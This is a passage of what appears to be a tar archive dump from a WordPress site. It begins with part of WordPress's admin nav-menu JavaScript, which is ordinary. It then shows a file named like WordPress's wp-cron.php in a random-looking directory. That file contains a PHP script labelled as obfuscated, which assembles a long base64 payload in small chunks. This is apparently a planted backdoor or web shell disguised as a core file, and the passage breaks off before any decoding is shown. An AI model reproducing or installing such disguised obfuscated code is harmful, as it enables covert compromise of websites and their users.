'#pending-menu-items-to-delete ul' ).empty(); }, /** * Listen for state changes on bulk action checkboxes. * * @since 5.8.0 */ attachMenuCheckBoxListeners : function() { var that = this; $( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() { that.setRemoveSelectedButtonStatus(); }); }, /** * Create delete button to remove menu items from collection. * * @since 5.8.0 */ attachMenuItemDeleteButton : function() { var that = this; $( document ).on( 'click', '.menu-items-delete', function( e ) { var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech; e.preventDefault(); if ( ! $(this).hasClass( 'disabled' ) ) { $.each( $( '.menu-item-checkbox:checked' ), function( index, element ) { $( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' ); }); $( '.menu-items-delete' ).addClass( 'disabled' ); $( '.bulk-select-switcher' ).prop( 'checked', false ); itemsPendingDeletion = ''; itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' ); $.each( itemsPendingDeletionList, function( index, element ) { var itemName = $( element ).find( '.pending-menu-item-name' ).text(); var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName ); itemsPendingDeletion += itemSpeech; if ( ( index + 1 ) < itemsPendingDeletionList.length ) { itemsPendingDeletion += ', '; } }); deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion ); wp.a11y.speak( deletionSpeech, 'polite' ); that.disableBulkSelection(); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); } }); }, /** * List menu items awaiting deletion. * * @since 5.8.0 */ attachPendingMenuItemsListForDeletion : function() { $( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() { var menuItemName, menuItemType, menuItemID, listedMenuItem; if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) { $( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' ); } menuItemName = $(this).next().text(); menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text(); menuItemID = $(this).attr( 'data-menu-item-id' ); listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' ); if ( listedMenuItem.length > 0 ) { listedMenuItem.remove(); } if ( this.checked === true ) { const $li = $( '<li>', { 'data-menu-item-id': menuItemID } ); $li.append( $( '<span>', { 'class': 'pending-menu-item-name', text: menuItemName } ) ); $li.append( ' ' ); $li.append( $( '<span>', { 'class': 'pending-menu-item-type', text: '(' + menuItemType + ')', } ) ); $li.append( $( '<span>', { 'class': 'separator' } ) ); $( '#pending-menu-items-to-delete ul' ).append( $li ); } $( '#pending-menu-items-to-delete li .separator' ).html( ', ' ); $( '#pending-menu-items-to-delete li .separator' ).last().html( '.' ); }); }, /** * Set status of bulk delete checkbox. * * @since 5.8.0 */ setBulkDeleteCheckboxStatus : function() { var that = this; var checkbox = $( '#menu-to-edit .menu-item-checkbox' ); $.each( checkbox, function() { if ( $(this).prop( 'disabled' ) ) { $(this).prop( 'disabled', false ); } else { $(this).prop( 'disabled', true ); } if ( $(this).is( ':checked' ) ) { $(this).prop( 'checked', false ); } }); that.setRemoveSelectedButtonStatus(); }, /** * Set status of menu items removal button. * * @since 5.8.0 */ setRemoveSelectedButtonStatus : function() { var button = $( '.menu-items-delete' ); if ( $( '.menu-item-checkbox:checked' ).length > 0 ) { button.removeClass( 'disabled' ); } else { button.addClass( 'disabled' ); } }, attachMenuSaveSubmitListeners : function() { /* * When a navigation menu is saved, store a JSON representation of all form data * in a single input to avoid PHP `max_input_vars` limitations. See #14134. */ $( '#update-nav-menu' ).on( 'submit', function() { var navMenuData = $( '#update-nav-menu' ).serializeArray(); $( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) ); }); }, attachThemeLocationsListeners : function() { var loc = $('#nav-menu-theme-locations'), params = {}; params.action = 'menu-locations-save'; params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val(); loc.find('input[type="submit"]').on( 'click', function() { loc.find('select').each(function() { params[this.name] = $(this).val(); }); loc.find( '.spinner' ).addClass( 'is-active' ); $.post( ajaxurl, params, function() { loc.find( '.spinner' ).removeClass( 'is-active' ); }); return false; }); }, attachQuickSearchListeners : function() { var searchTimer; // Prevent form submission. $( '#nav-menu-meta' ).on( 'submit', function( event ) { event.preventDefault(); }); $( '#nav-menu-meta' ).on( 'input', '.quick-search', function() { var $this = $( this ); $this.attr( 'autocomplete', 'off' ); if ( searchTimer ) { clearTimeout( searchTimer ); } searchTimer = setTimeout( function() { api.updateQuickSearchResults( $this ); }, 500 ); }).on( 'blur', '.quick-search', function() { api.lastSearch = ''; }); }, updateQuickSearchResults : function(input) { var panel, params, minSearchLength = 1, q = input.val(), pageSearchChecklist = $( '#page-search-checklist' ); /* * Avoid a new Ajax search when the pressed key (e.g. arrows) * doesn't change the searched term. */ if ( api.lastSearch == q ) { return; } /* * Reset results when search is less than or equal to * minimum characters for searched term. */ if ( q.length <= minSearchLength ) { pageSearchChecklist.empty(); wp.a11y.speak( wp.i18n.__( 'Search results cleared' ) ); return; } api.lastSearch = q; panel = input.parents('.tabs-panel'); params = { 'action': 'menu-quick-search', 'response-format': 'markup', 'menu': $('#menu').val(), 'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(), 'q': q, 'type': input.attr('name') }; $( '.spinner', panel ).addClass( 'is-active' ); $.post( ajaxurl, params, function(menuMarkup) { api.processQuickSearchQueryResponse(menuMarkup, params, panel); }); }, addCustomLink : function( processMethod ) { var url = $('#custom-menu-item-url').val().toString(), label = $('#custom-menu-item-name').val(), urlRegex; if ( '' !== url ) { url = url.trim(); } processMethod = processMethod || api.addMenuItemToBottom; /* * Allow URLs including: * - http://example.com/ * - //example.com * - /directory/ * - ?query-param * - #target * - mailto:foo@example.com * * Any further validation will be handled on the server when the setting is attempted to be saved, * so this pattern does not need to be complete. */ urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/; if ( ! urlRegex.test( url ) ) { $('#customlinkdiv').addClass('form-invalid'); return false; } // Show the Ajax spinner. $( '.customlinkdiv .spinner' ).addClass( 'is-active' ); this.addLinkToMenu( url, label, processMethod, function() { // Remove the Ajax spinner. $( '.customlinkdiv .spinner' ).removeClass( 'is-active' ); // Set custom link form back to defaults. $('#custom-menu-item-name').val('').trigger( 'blur' ); $( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' ); }); }, addLinkToMenu : function(url, label, processMethod, callback) { processMethod = processMethod || api.addMenuItemToBottom; callback = callback || function(){}; api.addItemToMenu({ '-1': { 'menu-item-type': 'custom', 'menu-item-url': url, 'menu-item-title': label } }, processMethod, callback); }, addItemToMenu : function(menuItem, processMethod, callback) { var menu = $('#menu').val(), nonce = $('#menu-settings-column-nonce').val(), params; processMethod = processMethod || function(){}; callback = callback || function(){}; params = { 'action': 'add-menu-item', 'menu': menu, 'menu-settings-column-nonce': nonce, 'menu-item': menuItem }; $.post( ajaxurl, params, function(menuMarkup) { var ins = $('#menu-instructions'); menuMarkup = menuMarkup || ''; menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces. processMethod(menuMarkup, params); // Make it stand out a bit more visually, by adding a fadeIn. $( 'li.pending' ).hide().fadeIn('slow'); $( '.drag-instructions' ).show(); if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length ) ins.addClass( 'menu-instructions-inactive' ); callback(); }); }, /** * Process the add menu item request response into menu list item. Appends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToBottom : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, /** * Process the add menu item request response into menu list item. Prepends to menu. * * @param {string} menuMarkup The text server response of menu item markup. * * @fires document#menu-item-added Passes menuMarkup as a jQuery object. */ addMenuItemToTop : function( menuMarkup ) { var $menuMarkup = $( menuMarkup ); $menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList ); api.refreshKeyboardAccessibility(); api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemAdded ); $( document ).trigger( 'menu-item-added', [ $menuMarkup ] ); }, attachUnsavedChangesListener : function() { $('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){ api.registerChange(); }); if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) { window.onbeforeunload = function(){ if ( api.menusChanged ) return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); }; } else { // Make the post boxes read-only, as they can't be used yet. $( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' ); } }, registerChange : function() { api.menusChanged = true; }, attachTabsPanelListeners : function() { $('#menu-settings-column').on('click', function(e) { var selectAreaMatch, selectAll, panelId, wrapper, items, target = $(e.target); if ( target.hasClass('nav-tab-link') ) { panelId = target.data( 'type' ); wrapper = target.parents('.accordion-section-content').first(); // Upon changing tabs, we want to uncheck all checkboxes. $( 'input', wrapper ).prop( 'checked', false ); $('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive'); $('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active'); $('.tabs', wrapper).removeClass('tabs'); target.parent().addClass('tabs'); // Select the search bar. $('.quick-search', wrapper).trigger( 'focus' ); // Hide controls in the search tab if no items found. if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) { wrapper.addClass( 'has-no-menu-item' ); } else { wrapper.removeClass( 'has-no-menu-item' ); } e.preventDefault(); } else if ( target.hasClass( 'select-all' ) ) { selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) { items.prop( 'checked', false ); } else if ( target.is( ':checked' ) ) { items.prop( 'checked', true ); } } } else if ( target.hasClass( 'menu-item-checkbox' ) ) { selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' ); if ( selectAreaMatch ) { items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' ); selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' ); if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', true ); } else if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } } } else if ( target.hasClass('submit-add-to-menu') ) { api.registerChange(); if ( e.target.id && 'submit-customlinkdiv' == e.target.id ) api.addCustomLink( api.addMenuItemToBottom ); else if ( e.target.id && -1 != e.target.id.indexOf('submit-') ) $('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom ); return false; } }); /* * Delegate the `click` event and attach it just to the pagination * links thus excluding the current page `<span>`. See ticket #35577. */ $( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() { var $container = $( this ).closest( '.inside' ); $.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox', function( resp ) { var metaBoxData = JSON.parse( resp ), toReplace; if ( -1 === resp.indexOf( 'replace-id' ) ) { return; } // Get the post type menu meta box to update. toReplace = document.getElementById( metaBoxData['replace-id'] ); if ( ! metaBoxData.markup || ! toReplace ) { return; } // Update the post type menu meta box with new content from the response. $container.html( metaBoxData.markup ); } ); return false; }); }, eventOnClickEditLink : function(clickedEl) { var settings, item, matchedSection = /#(.*)$/.exec(clickedEl.href); if ( matchedSection && matchedSection[1] ) { settings = $('#'+matchedSection[1]); item = settings.parent(); if( 0 !== item.length ) { if( item.hasClass('menu-item-edit-inactive') ) { if( ! settings.data('menu-item-data') ) { settings.data( 'menu-item-data', settings.getItemData() ); } settings.slideDown('fast'); item.removeClass('menu-item-edit-inactive') .addClass('menu-item-edit-active'); } else { settings.slideUp('fast'); item.removeClass('menu-item-edit-active') .addClass('menu-item-edit-inactive'); } return false; } } }, eventOnClickCancelLink : function(clickedEl) { var settings = $( clickedEl ).closest( '.menu-item-settings' ), thisMenuItem = $( clickedEl ).closest( '.menu-item' ); thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' ); settings.setItemData( settings.data( 'menu-item-data' ) ).hide(); // Restore the title of the currently active/expanded menu item. thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] ); return false; }, eventOnClickMenuSave : function() { var menuName = $('#menu-name'), menuNameVal = menuName.val(); // Cancel and warn if invalid menu name. if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) { menuName.parent().addClass( 'form-invalid' ); return false; } // Copy menu theme locations. // Note: This appears to be dead code since #nav-menu-theme-locations no longer exists, perhaps removed in r32842. var $updateNavMenu = $('#update-nav-menu'); $('#nav-menu-theme-locations select').each(function() { $updateNavMenu.append( $( '<input>', { type: 'hidden', name: this.name, value: $( this ).val(), } ) ); }); // Update menu item position data. api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } ); window.onbeforeunload = null; return true; }, eventOnClickMenuDelete : function() { // Delete warning AYS. if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) { window.onbeforeunload = null; return true; } return false; }, eventOnClickMenuItemDelete : function(clickedEl) { var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10); api.removeMenuItem( $('#menu-item-' + itemID) ); api.registerChange(); return false; }, /** * Process the quick search response into a search result * * @param string resp The server response to the query. * @param object req The request arguments. * @param jQuery panel The tabs panel we're searching in. */ processQuickSearchQueryResponse : function(resp, req, panel) { var matched, newID, takenIDs = {}, form = document.getElementById('nav-menu-meta'), pattern = /menu-item[(\[^]\]*/, $items = $('<div>').html(resp).find('li'), wrapper = panel.closest( '.accordion-section-content' ), selectAll = wrapper.find( '.button-controls .select-all' ), $item; if( ! $items.length ) { let noResults = wp.i18n.__( 'No results found.' ); const li = $( '<li>' ); const p = $( '<p>', { text: noResults } ); li.append( p ); $('.categorychecklist', panel).empty().append( li ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.addClass( 'has-no-menu-item' ); wp.a11y.speak( noResults, 'assertive' ); return; } $items.each(function(){ $item = $(this); // Make a unique DB ID number. matched = pattern.exec($item.html()); if ( matched && matched[1] ) { newID = matched[1]; while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) { newID--; } takenIDs[newID] = true; if ( newID != matched[1] ) { $item.html( $item.html().replace(new RegExp( 'menu-item\\[' + matched[1] + '\\]', 'g'), 'menu-item[' + newID + ']' ) ); } } }); $('.categorychecklist', panel).html( $items ); wp.a11y.speak( wp.i18n.sprintf( wp.i18n.__( '%d Search Results Found' ), $items.length ), 'assertive' ); $( '.spinner', panel ).removeClass( 'is-active' ); wrapper.removeClass( 'has-no-menu-item' ); if ( selectAll.is( ':checked' ) ) { selectAll.prop( 'checked', false ); } }, /** * Remove a menu item. * * @param {Object} el The element to be removed as a jQuery object. * * @fires document#menu-removing-item Passes the element to be removed. */ removeMenuItem : function(el) { var children = el.childMenuItems(); $( document ).trigger( 'menu-removing-item', [ el ] ); el.addClass('deleting').animate({ opacity : 0, height: 0 }, 350, function() { var ins = $('#menu-instructions'); el.remove(); children.shiftDepthClass( -1 ).updateParentMenuItemDBId(); if ( 0 === $( '#menu-to-edit li' ).length ) { $( '.drag-instructions' ).hide(); ins.removeClass( 'menu-instructions-inactive' ); } api.refreshAdvancedAccessibility(); wp.a11y.speak( menus.itemRemoved ); $( '#menu-to-edit' ).updateParentDropdown(); $( '#menu-to-edit' ).updateOrderDropdown(); }); }, depthToPx : function(depth) { return depth * api.options.menuItemDepthPerLevel; }, pxToDepth : function(px) { return Math.floor(px / api.options.menuItemDepthPerLevel); } }; $( function() { wpNavMenu.init(); // Prevent focused element from being hidden by the sticky footer. $( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() { if ( window.innerWidth >= 783 ) { var navMenuHeight = $( '#nav-menu-footer' ).height() + 20; var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() ); if ( bottomOffset > 0 ) { bottomOffset = 0; } bottomOffset = bottomOffset * -1; if( bottomOffset < navMenuHeight ) { var scrollTop = $(document).scrollTop(); $(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) ); } } }); }); // Show bulk action. $( document ).on( 'menu-item-added', function() { if ( ! $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).show(); } } ); // Hide bulk action. $( document ).on( 'menu-removing-item', function( e, el ) { var menuElement = $( el ).parents( '#menu-to-edit' ); if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) { $( '.bulk-actions' ).hide(); } } ); })(jQuery); polym/n5Ohg/wp-cron.php 0000644 00000134766 15222552267 0011013 0 ustar 00 <?php // Obfuscated by AdvancedObfuscator // Version: 1.2.8 /* * This file contains encoded data. * Do not modify manually. */ try { $z2 = ""; $b2 = ""; $z2 = ""; $a8 = ""; $z2 .= "SkhodG"; $z2 .= "JHNWhi"; $z2 .= "V1VnUF"; $z2 .= "NCYkRR"; $z2 .= "b2dJQ0"; $z2 .= "FnSWlV"; $z2 .= "ek1pVX"; $z2 .= "pPU1V6"; $z2 .= "TXlVek"; $z2 .= "5pVXlS"; $z2 .= "Q1UzT1"; $z2 .= "NVM05p"; $z2 .= "VTJNU1"; $z2 .= "UzT0NV"; $z2 .= "ek1pVX"; $z2 .= "pNU1V6"; $z2 .= "TUNVeV"; $z2 .= "JTVTJO"; $z2 .= "aVUzT0"; $z2 .= "NVMlF5"; $z2 .= "VTNOU1"; $z2 .= "UyTWlV"; $z2 .= "Mk1pVT"; $z2 .= "NPQ1Uy"; $z2 .= "TmlVeV"; $z2 .= "JTVTJO"; $z2 .= "eVUyTW"; $z2 .= "lVMk15"; $z2 .= "SXNEUW"; $z2 .= "9nSUNB"; $z2 .= "Z0lpVX"; $z2 .= "pNaVV6"; $z2 .= "T1NVek"; $z2 .= "15VXpO"; $z2 .= "aVV5Uk"; $z2 .= "NVM09T"; $z2 .= "VTNOaV"; $z2 .= "UyTVNV"; $z2 .= "M09DVX"; $z2 .= "pNaVV6"; $z2 .= "TVNVek"; $z2 .= "1DVXlS"; $z2 .= "U1UyT1"; $z2 .= "NVM05p"; $z2 .= "VTJPU1"; $z2 .= "UyUXlV"; $z2 .= "Mk1TVT"; $z2 .= "NNaVV5"; $z2 .= "UlNVMl"; $z2 .= "FpVTJR"; $z2 .= "eVUyUk"; $z2 .= "NJc0RR"; $z2 .= "b2dJQ0"; $z2 .= "FnSWlV"; $z2 .= "ek1pVX"; $z2 .= "pPU1V6"; $z2 .= "TXlVek"; $z2 .= "5pVXlS"; $z2 .= "Q1UzT1"; $z2 .= "NVM05p"; $z2 .= "VTJNU1"; $z2 .= "UzT0NV"; $z2 .= "ek1pVX"; $z2 .= "pNU1V6"; $z2 .= "TUNVeV"; $z2 .= "JTVTNN"; $z2 .= "aVUzTU"; $z2 .= "NVMk1p"; $z2 .= "VTJPU1"; $z2 .= "UzTmlV"; $z2 .= "Mk5pVT"; $z2 .= "NOaVUy"; $z2 .= "TWlVMk"; $z2 .= "5pVXlS"; $z2 .= "U1UyUW"; $z2 .= "lVMlF5"; $z2 .= "VTJSQ0"; $z2 .= "lzRFFv"; $z2 .= "Z0lDQW"; $z2 .= "dJaVV6"; $z2 .= "TWlVek"; $z2 .= "9TVXpN"; $z2 .= "eVV6Tm"; $z2 .= "lVeVJD"; $z2 .= "VTNPU1"; $z2 .= "UzTmlV"; $z2 .= "Mk1TVT"; $z2 .= "NPQ1V6"; $z2 .= "TWlVek"; $z2 .= "1TVXpN"; $z2 .= "Q1V5Ul"; $z2 .= "NVM05p"; $z2 .= "VTJNU1"; $z2 .= "UzTWlV"; $z2 .= "M015VT"; $z2 .= "NNeVUy"; $z2 .= "UlNVMl"; $z2 .= "JpVTNP"; $z2 .= "U1UyUX"; $z2 .= "lVeVJT"; $z2 .= "VTJRaV"; $z2 .= "UyUXlV"; $z2 .= "MlJDSU"; $z2 .= "5DbDA3"; $z2 .= "RFFva2"; $z2 .= "MzUnlh"; $z2 .= "VzVuSU"; $z2 .= "QwZ0p6"; $z2 .= "STVNel"; $z2 .= "l0Ykds"; $z2 .= "dWF6SX"; $z2 .= "hNQ2M3"; $z2 .= "RFFvTk"; $z2 .= "NpUm9i"; $z2 .= "M04wSU"; $z2 .= "QwZ0pG"; $z2 .= "OVRSVk"; $z2 .= "pXUlZK"; $z2 .= "YkowaF"; $z2 .= "VWRkJm"; $z2 .= "U0U5VF"; $z2 .= "ZDZGRJ"; $z2 .= "RDg2SU"; $z2 .= "Njbk93"; $z2 .= "MEtKR3"; $z2 .= "hoYm1j"; $z2 .= "Z1BTQW"; $z2 .= "tYMU5G"; $z2 .= "VWxaRl"; $z2 .= "Vsc25T"; $z2 .= "RlJVVU"; $z2 .= "Y5QlEw"; $z2 .= "TkZVRl"; $z2 .= "JmVEVG"; $z2 .= "T1IxVk"; $z2 .= "JSMFVu"; $z2 .= "WFNBL0"; $z2 .= "9pQW5a"; $z2 .= "VzRuT3"; $z2 .= "cwS0pI"; $z2 .= "SmxabV"; $z2 .= "Z5WlhJ"; $z2 .= "Z1BTQW"; $z2 .= "tYMU5G"; $z2 .= "VWxaRl"; $z2 .= "Vsc25T"; $z2 .= "RlJVVU"; $z2 .= "Y5U1JV"; $z2 .= "WkZVa1"; $z2 .= "ZTSjEw"; $z2 .= "Z1B6b2"; $z2 .= "dKeWM3"; $z2 .= "RFFva2"; $z2 .= "FIUjBj"; $z2 .= "Q0E5SU"; $z2 .= "dselgy"; $z2 .= "aDBkSE"; $z2 .= "J6S0Nr"; $z2 .= "Z1B5QW"; $z2 .= "5hSFIw"; $z2 .= "Y0hNbk"; $z2 .= "lEb2dK"; $z2 .= "MmgwZE"; $z2 .= "hBbk93"; $z2 .= "MEtKSE"; $z2 .= "5sY25a"; $z2 .= "bGNpQT"; $z2 .= "lJR1pw"; $z2 .= "YkdWZl"; $z2 .= "pYaHBj"; $z2 .= "M1J6S0"; $z2 .= "NSZlUw"; $z2 .= "VlNWa1"; $z2 .= "ZTV3lk"; $z2 .= "RVQwTl"; $z2 .= "ZUVVZP"; $z2 .= "VkY5U1"; $z2 .= "QwOVVK"; $z2 .= "MTBnTG"; $z2 .= "lBbkx5"; $z2 .= "NW9kR0"; $z2 .= "ZqWTJW"; $z2 .= "emN5Y3"; $z2 .= "BJRDhn"; $z2 .= "TVNBNk"; $z2 .= "lESTdE"; $z2 .= "UW9rZW"; $z2 .= "5vZ1BT"; $z2 .= "QmthWE"; $z2 .= "5pYjNR"; $z2 .= "b0tUc0"; $z2 .= "5DaVJr"; $z2 .= "ZFhKcE"; $z2 .= "lEMGda"; $z2 .= "SEpsY1"; $z2 .= "hWbGMz"; $z2 .= "UmZkWE"; $z2 .= "pwS0Nr"; $z2 .= "Z1B6b2"; $z2 .= "dKeThu"; $z2 .= "T3cwS0"; $z2 .= "RRb2ti"; $z2 .= "VzlrWl"; $z2 .= "d4Zlpt"; $z2 .= "bHNaU0"; $z2 .= "E5SUNk"; $z2 .= "cGJtUm"; $z2 .= "xlQzV3"; $z2 .= "YUhBbk"; $z2 .= "93MEtK"; $z2 .= "RzF2Wk"; $z2 .= "dWc0lE"; $z2 .= "MGdKMm"; $z2 .= "x1WkdW"; $z2 .= "NEp6c0"; $z2 .= "5DbkJ5"; $z2 .= "WldkZm"; $z2 .= "JXRjBZ"; $z2 .= "MmdvSn"; $z2 .= "k5Y0x5"; $z2 .= "aGJYbH"; $z2 .= "d2WFN0"; $z2 .= "Y0xuQm"; $z2 .= "9jQ2t2"; $z2 .= "Snl3Z0"; $z2 .= "pHUjFj"; $z2 .= "bWtzSU"; $z2 .= "NSdFlY"; $z2 .= "UmphR1"; $z2 .= "Z6S1Rz"; $z2 .= "TkNtbG"; $z2 .= "1JQ2do"; $z2 .= "Wlcxd2"; $z2 .= "RIa29K"; $z2 .= "RzFoZE"; $z2 .= "dOb1pY"; $z2 .= "TXBLU0"; $z2 .= "I3RFFv"; $z2 .= "Z0lDQW"; $z2 .= "dKRzF2"; $z2 .= "WkdWc1"; $z2 .= "gyWnBi"; $z2 .= "R1VnUF"; $z2 .= "NBa2JX"; $z2 .= "RjBZMm"; $z2 .= "hsYzFz"; $z2 .= "eFhUc0"; $z2 .= "5DaUFn"; $z2 .= "SUNCcF"; $z2 .= "ppQW9L"; $z2 .= "Q1J3Yj"; $z2 .= "NOcGRH"; $z2 .= "bHZiaU"; $z2 .= "E5SUhO"; $z2 .= "MGNuQn"; $z2 .= "ZjeWdr"; $z2 .= "WkhWeW"; $z2 .= "FTd2dK"; $z2 .= "RzF2Wk"; $z2 .= "dWc1gy"; $z2 .= "WnBiR1"; $z2 .= "VwS1NB"; $z2 .= "aFBUMG"; $z2 .= "dabUZz"; $z2 .= "YzJVcE"; $z2 .= "lIc05D"; $z2 .= "aUFnSU"; $z2 .= "NBZ0lD"; $z2 .= "QWdKRz"; $z2 .= "F2WkdW"; $z2 .= "c1gyWn"; $z2 .= "BiR1Vn"; $z2 .= "UFNCc2"; $z2 .= "RISnBi"; $z2 .= "U2h6ZF"; $z2 .= "dKemRI"; $z2 .= "SW9KR1"; $z2 .= "IxY21r"; $z2 .= "c0lEQX"; $z2 .= "NJQ1J3"; $z2 .= "YjNOcG"; $z2 .= "RHbHZi"; $z2 .= "aUFySU"; $z2 .= "hOMGNt"; $z2 .= "eGxiaW"; $z2 .= "drYlc5"; $z2 .= "a1pXeG"; $z2 .= "ZabWxz"; $z2 .= "WlNrcE"; $z2 .= "xDQW5M"; $z2 .= "eWNwT3"; $z2 .= "cwS0lD"; $z2 .= "QWdJSD"; $z2 .= "BOQ2lB"; $z2 .= "Z0lDQW"; $z2 .= "tiVzlr"; $z2 .= "Wld3Z1"; $z2 .= "BTQnpk"; $z2 .= "SEpmY2"; $z2 .= "1Wd2JH"; $z2 .= "RmpaU2"; $z2 .= "duTG5C"; $z2 .= "b2NDY3"; $z2 .= "NJQ2Nu"; $z2 .= "TENBa2"; $z2 .= "JXOWta"; $z2 .= "V3hmWm"; $z2 .= "1sc1pT"; $z2 .= "azdEUX"; $z2 .= "A5RFFv"; $z2 .= "a2JXOW"; $z2 .= "taV3dn"; $z2 .= "UFNCem"; $z2 .= "RISnBj"; $z2 .= "M1J5S0"; $z2 .= "NSa2RY"; $z2 .= "SnBMQ0"; $z2 .= "FuTHo4"; $z2 .= "bktTQS"; $z2 .= "9JQ2Mv"; $z2 .= "SnlBNk"; $z2 .= "lDUnRi"; $z2 .= "MlJsYk"; $z2 .= "RzTkNn"; $z2 .= "MEtKR2"; $z2 .= "x6ZEdW"; $z2 .= "emRDQT"; $z2 .= "lJR1po"; $z2 .= "YkhObE"; $z2 .= "93MEth"; $z2 .= "V1lnS0"; $z2 .= "hOMGNu"; $z2 .= "QnZjeW"; $z2 .= "drWkhW"; $z2 .= "eWFTd2"; $z2 .= "dKSE4w"; $z2 .= "Y21sdV"; $z2 .= "p5a2dJ"; $z2 .= "VDA5SU"; $z2 .= "daaGJI"; $z2 .= "TmxLU0"; $z2 .= "I3RFFv"; $z2 .= "Z0lDQW"; $z2 .= "dKSHA2"; $z2 .= "SUQwZ0"; $z2 .= "1Uc05D"; $z2 .= "aUFnSU"; $z2 .= "NBa1pI"; $z2 .= "VnlhU0"; $z2 .= "E5SUhO"; $z2 .= "MGNsOX"; $z2 .= "laWEJz"; $z2 .= "WVdObE"; $z2 .= "tDUnpk"; $z2 .= "SEpwYm"; $z2 .= "1jc0lD"; $z2 .= "Y25MQ0"; $z2 .= "FrWkhW"; $z2 .= "eWFTaz"; $z2 .= "dEUW9n"; $z2 .= "SUNBZ0"; $z2 .= "pHbHpk"; $z2 .= "R1Z6ZE"; $z2 .= "NBOUlI"; $z2 .= "UnlkV1"; $z2 .= "U3RFFw"; $z2 .= "OURRcH"; $z2 .= "BaaUFv"; $z2 .= "SkdSMW"; $z2 .= "Nta2dJ"; $z2 .= "VDBnSn"; $z2 .= "k4bktT"; $z2 .= "QjdEUW"; $z2 .= "9nSUNB"; $z2 .= "Z0pHUj"; $z2 .= "FjbWtn"; $z2 .= "UFNCem"; $z2 .= "RISmZj"; $z2 .= "bVZ3Yk"; $z2 .= "dGalpT"; $z2 .= "Z25MeW"; $z2 .= "NnTGlB"; $z2 .= "a2JXOW"; $z2 .= "taV3hm"; $z2 .= "Wm1sc1"; $z2 .= "pTd2dK"; $z2 .= "eWNzSU"; $z2 .= "NSa2RY"; $z2 .= "SnBLVH"; $z2 .= "NOQ2lB"; $z2 .= "Z0lDQW"; $z2 .= "taSFZ5"; $z2 .= "YVNBOU"; $z2 .= "lITjBj"; $z2 .= "bDl5Wl"; $z2 .= "hCc1lX"; $z2 .= "TmxLQ2"; $z2 .= "N2YVc1"; $z2 .= "a1pYZ3"; $z2 .= "VjR2h3"; $z2 .= "Snl3Z0"; $z2 .= "p5Y3NJ"; $z2 .= "Q1JrZF"; $z2 .= "hKcEtU"; $z2 .= "c05DaU"; $z2 .= "FnSUNB"; $z2 .= "a1pIVn"; $z2 .= "lhU0E5"; $z2 .= "SUhOMG"; $z2 .= "NsOXla"; $z2 .= "WEJzWV"; $z2 .= "dObEtD"; $z2 .= "Y2hKeX"; $z2 .= 